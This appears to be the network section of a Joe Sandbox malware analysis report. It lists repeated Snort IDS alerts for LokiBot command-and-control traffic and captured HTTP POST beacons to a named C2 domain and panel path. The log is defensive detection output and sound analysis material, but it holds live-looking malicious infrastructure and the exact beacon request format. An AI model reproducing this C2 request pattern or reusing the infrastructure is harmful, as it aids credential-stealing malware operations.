Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49789 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49789 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49789 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49789 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49789
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49791 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49791 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49791 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49791 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49791
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49793 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49793 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49793 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49793 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49793
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49795 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49795 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49795 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49795 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49795
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49797 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49797 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49797 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49797 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49797
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49799 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49799 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49799 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49799 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49799
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49800 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49800 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49800 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49800 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49800
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49802 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49802 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49802 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49802 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49802
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49804 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49804 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49804 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49804 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49804
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49805 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49805 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49805 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49805 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49805
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49806 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49806 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49806 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49806 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49806
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49807 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49807 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49807 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49807 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49807
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49809 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49809 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49809 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49809 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49809
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49810 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49810 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49810 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49810 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49810
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49812 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49812 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49812 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49812 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49812
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49814 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49814 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49814 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49814 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49814
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49815 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49815 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49815 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49815 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49815
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49817 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49817 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49817 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49817 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49817
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49818 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49818 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49818 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49818 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49818
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49820 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49820 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49820 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49820 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49820
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49821 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49821 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49821 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49821 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49821
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49822 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49822 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49822 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49822 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49822
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49824 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49824 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49824 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49824 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49824
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49825 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49825 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49825 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49825 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49825
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49826 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49826 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49826 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49826 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49826
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49828 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49828 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49828 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49828 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49828
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49829 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49829 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49829 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49829 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49829
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49830 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49830 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49830 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49830 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49830
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49832 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49832 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49832 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49832 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49832
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49833 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49833 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49833 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49833 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49833
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49835 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49835 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49835 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49835 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49835
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49837 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49837 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49837 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49837 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49837
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49838 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49838 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49838 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49838 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49838
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49840 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49840 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49840 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49840 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49840
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49841 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49841 -> 45.144.3.234:80

Source: Joe Sandbox View

ASN Name: ASBAXETRU ASBAXETRU

Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 196Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 196Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
